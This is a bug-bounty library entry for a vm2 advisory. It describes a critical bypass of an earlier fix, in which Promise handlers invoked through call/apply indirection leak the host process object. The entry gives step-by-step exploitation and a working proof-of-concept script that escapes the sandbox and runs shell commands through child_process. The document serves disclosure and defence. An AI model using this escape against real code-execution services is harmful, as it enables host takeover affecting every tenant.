# vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection

vm2 3.11.6 sanitiser gate identity-checks only direct Promise handler targets, so `p.then.call(p, undefined, cb)` bypasses it and leaks a host `process` reference, yielding host RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: oran-s
- Disclosed: 2026-10-01
- CVE: CVE-2026-92937
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-647f-g98j-qq25
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-647f-g98j-qq25
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:rce vuln:sandbox-escape

**Target:** vm2 sandbox bridge (lib/bridge.js) Promise rejection handling
**Root cause:** The rejection-value sanitiser at lib/bridge.js:1624 identity-checks only the direct call target; routing the handler registration through Function.prototype.call/apply makes the intercepted target host Function.prototype.call, so the raw host error reaches the sandbox without the rebuild at lib/setup-sandbox.js:2104 that strips host references from own properties.
**Steps:**
1. Embedder exposes an async host function via `sandbox` that throws an Error with a host reference own property, e.g. `err.detail = process`.
2. Sandbox obtains the bridged Promise proxy: `const p = fetchUser(1);`
3. Register the rejection handler via indirection: `p.then.call(p, undefined, (e) => { ... })`
4. Sanitiser gate sees host `Function.prototype.call` as target and skips; raw error with `detail` reaches sandbox.
5. Execute `e.detail.mainModule.require('child_process').execSync('echo vm2-escape-proof > /tmp/poc.proof')`.
**How found:** Noticed the prior GHSA-m283-3h24-438v fix only rebuilt rejection values on the direct Promise-handler path; hypothesized the identity check at lib/bridge.js:1624 would compare against host `Function.prototype.call` under call/apply indirection, then tested direct vs `.call`, `.apply`, `.bind` and `Reflect.apply` forms to isolate the bypass.
**Exploitation:** Attacker submits code to a vm2 sandbox where the embedder exposes an async host function (or NodeVM external module async method) whose rejection carries a non-primitive own property referencing a host object. Using `.call`/`.apply` indirection on the Promise's `then`, the sanitiser is skipped and the host `process` object arrives as a working proxy; `mainModule.require('child_process').execSync` then runs commands with host privileges, enabling file read/write, process spawn and network access.
**Escalation:** In multi-tenant code-eval services, one submission compromises the worker process and every tenant it serves.
**Insight:** When a security fix gates on identity of a call target, enumerate every way the same operation can be invoked (call/apply/bind/Reflect.apply, prototype methods) — the gate likely only covers the direct form; test each variant against the patched version.

## Proof of concept (copied exactly from the original report)

**vm2 sandbox escape PoC via then.call indirection**

```
const { VM } = require('vm2');
const vm = new VM({ sandbox: {
  fetchUser: async () => {
    const err = new Error('db connection failed');
    err.detail = process; // embedder-attached host reference
    throw err;
  },
}});
vm.run(`
  const p = fetchUser(1);              // proxy of the host Promise
  p.then.call(p, undefined, (e) => {   // .call indirection skips the sanitiser
    e.detail.mainModule.require('child_process')
      .execSync('echo vm2-escape-proof > /tmp/poc.proof');
  });
`);
```

